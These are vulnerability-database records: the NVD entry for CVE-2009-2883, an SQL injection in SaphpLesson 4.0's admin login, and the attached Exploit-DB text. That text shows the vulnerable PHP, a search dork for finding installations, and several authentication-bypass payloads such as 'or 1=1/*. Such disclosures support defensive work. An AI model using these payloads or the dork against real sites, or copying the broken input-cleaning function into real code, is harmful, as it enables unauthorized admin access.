{"id": "CVE-2009-2883", "bulletinFamily": "NVD", "title": "CVE-2009-2883", "description": "SQL injection vulnerability in admin/login.php in SaphpLesson 4.0, when magic_quotes_gpc is disabled, allows remote attackers to execute arbitrary SQL commands via the cp_username parameter, related to an error in the CleanVar function in includes/functions.php.", "published": "2009-08-20T17:30:00", "modified": "2017-09-19T01:29:00", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-2883", "reporter": "cve@mitre.org", "references": ["http://www.exploit-db.com/exploits/9248", "http://www.securityfocus.com/bid/35795", "https://exchange.xforce.ibmcloud.com/vulnerabilities/51983"], "cvelist": ["CVE-2009-2883"], "type": "cve", "lastseen": "2019-05-29T18:09:59", "history": [], "edition": 1, "hashmap": [{"key": "affectedSoftware", "hash": "d5bfa36fcca000941e4a478dc6fa98ed"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "df7a5b040ff2105046bffa511dc52b00"}, {"key": "cpe23", "hash": "4b8fffba81928da1630fe57aa0d13d9b"}, {"key": "cvelist", "hash": "d239f1e88c8bacc62d7d80ebf72df96d"}, {"key": "cvss", "hash": "4cac367be6dd8242802053610be9dee6"}, {"key": "cvss2", "hash": "805c5c751007648306c308e497e20dab"}, {"key": "cvss3", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cwe", "hash": "4994f73f97fee1825d38aac7bee9aefe"}, {"key": "description", "hash": "c78d6ea29a55b0149013db136fd29528"}, {"key": "href", "hash": "e5089dbc44d6df678c895d8c5a4de035"}, {"key": "modified", "hash": "490ad7dce9ecddaaf87d52ddeb4a2fdd"}, {"key": "published", "hash": "929fbc533c0fe30d864470c0c2f27059"}, {"key": "references", "hash": "9358b873ec8134c984102eb4e1ce0aec"}, {"key": "reporter", "hash": "444c2b4dda4a55437faa8bef1a141e84"}, {"key": "title", "hash": "4f851308971c010b3dc708190fa0c009"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "hash": "0427ff77d7f1401c9c85a7dd8852cc0cc7bdc47061fb54af480e0950588408d4", "viewCount": 1, "enchantments": {"score": {"value": 7.2, "vector": "NONE", "modified": "2019-05-29T18:09:59"}, "dependencies": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:9248"]}], "modified": "2019-05-29T18:09:59"}, "vulnersScore": 7.2}, "objectVersion": "1.3", "cpe": ["cpe:/a:arabless:saphplesson:4.0"], "affectedSoftware": [{"name": "arabless saphplesson", "operator": "eq", "version": "4.0"}], "cvss2": {"cvssV2": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {}, "cpe23": ["cpe:2.3:a:arabless:saphplesson:4.0:*:*:*:*:*:*:*"], "cwe": ["CWE-89"]}

{"exploitdb": [{"lastseen": "2016-02-01T10:11:07", "bulletinFamily": "exploit", "description": "SaphpLesson v4.0 (Auth Bypass) SQL Injection Vulnerability. CVE-2009-2883. Webapps exploit for php platform", "modified": "2009-07-24T00:00:00", "published": "2009-07-24T00:00:00", "id": "EDB-ID:9248", "href": "https://www.exploit-db.com/exploits/9248/", "type": "exploitdb", "title": "SaphpLesson 4.0 - Auth Bypass SQL Injection Vulnerability", "sourceData": "---------------------------------SaphpLesson v4.0 (Auth Bypass) SQL Injection Vulnerability---------------------------------------\r\n # \r\n # #### # ### ## ### #### #### ### ##### #### #### ### # ### #### ######\r\n ## # # ## # # # # # # # # # # # # # # # # # # # ## # # # # # #\r\n # # # # # # # # # # # # # # # # # # # # # # # # # \r\n # # ### # # ### # # ## ### ### # # # # ### ## # # # ### # \r\n #### # # #### # # ###### # # # # # # # # # # # # # # # \r\n # # # # # # # # # # # # # # ## # # # # # # # ## # # \r\n## ##### ## ###### ### ### #### ### # # ### #### #### ### # ### # #### ### \r\n\r\n\r\n#----------------------------------------------------------------------------------------------------------------\r\nScript : SaphpLesson\r\nversion : 4.0\r\nLanguage: PHP\r\nSite: http://www.saphplesson.org\r\nDownload: http://www.saphplesson.org/saphplesson.zip\r\nDork: intext:Powered by SaphpLesson 4.0\r\nFound by: SwEET-DeViL\r\n\r\nneed magic_quotes_gpc = Off\r\n\r\n#----------------------------------------------------------------------------------------------------------------\r\n\r\n)=> admin/login.php\r\n.................................................................................................................\r\nif ($_SERVER[\"REQUEST_METHOD\"]==\"POST\"){\r\n $username = CleanVar($_POST[\"cp_username\"]); <======================================{\r\n $password = md5(CleanVar($_POST[\"cp_password\"]));\r\n $IsLogin = $db->get_var(\"select count(*) from modretor Where ModName='\".$username.\"' and ModPassword='\".$password.\"'\");\r\n\r\n.................................................................................................................\r\n\r\nfunction of insecure !!\r\n\r\n)-)=> includes/functions.php\r\n---------------------------------------\r\n.[106] function CleanVar($var)\r\n.[107] {\r\n.[108] (get_magic_quotes_gpc() === 0) ? $var : addslashes($var);\r\n.[109]\r\n.[110] return htmlspecialchars(trim($var));\r\n.[111] }\r\n---------------------------------------\r\n\r\n#Exploit:\r\n\r\nusername : 'or 1=1/*\r\nOR \r\nusername : 'or 1=1 or '\r\nOR \r\nusername : admin ' or ' 1=1--\r\n....\r\n\r\npassword: SwEET-DeViL\r\n\r\n---------------------------------------\r\n\r\n\r\n/-------------www.arab4services.net-----------------\\\r\n|+------------------------------------------------+ |\r\n|| SwEET-DeViL & viP HaCkEr | |\r\n|| gamr-14(at)hotmail.com | |\r\n|+------------------------------------------------+ |\r\n\\---------------------------------------------------/\r\n\r\n# milw0rm.com [2009-07-24]\r\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/9248/"}]}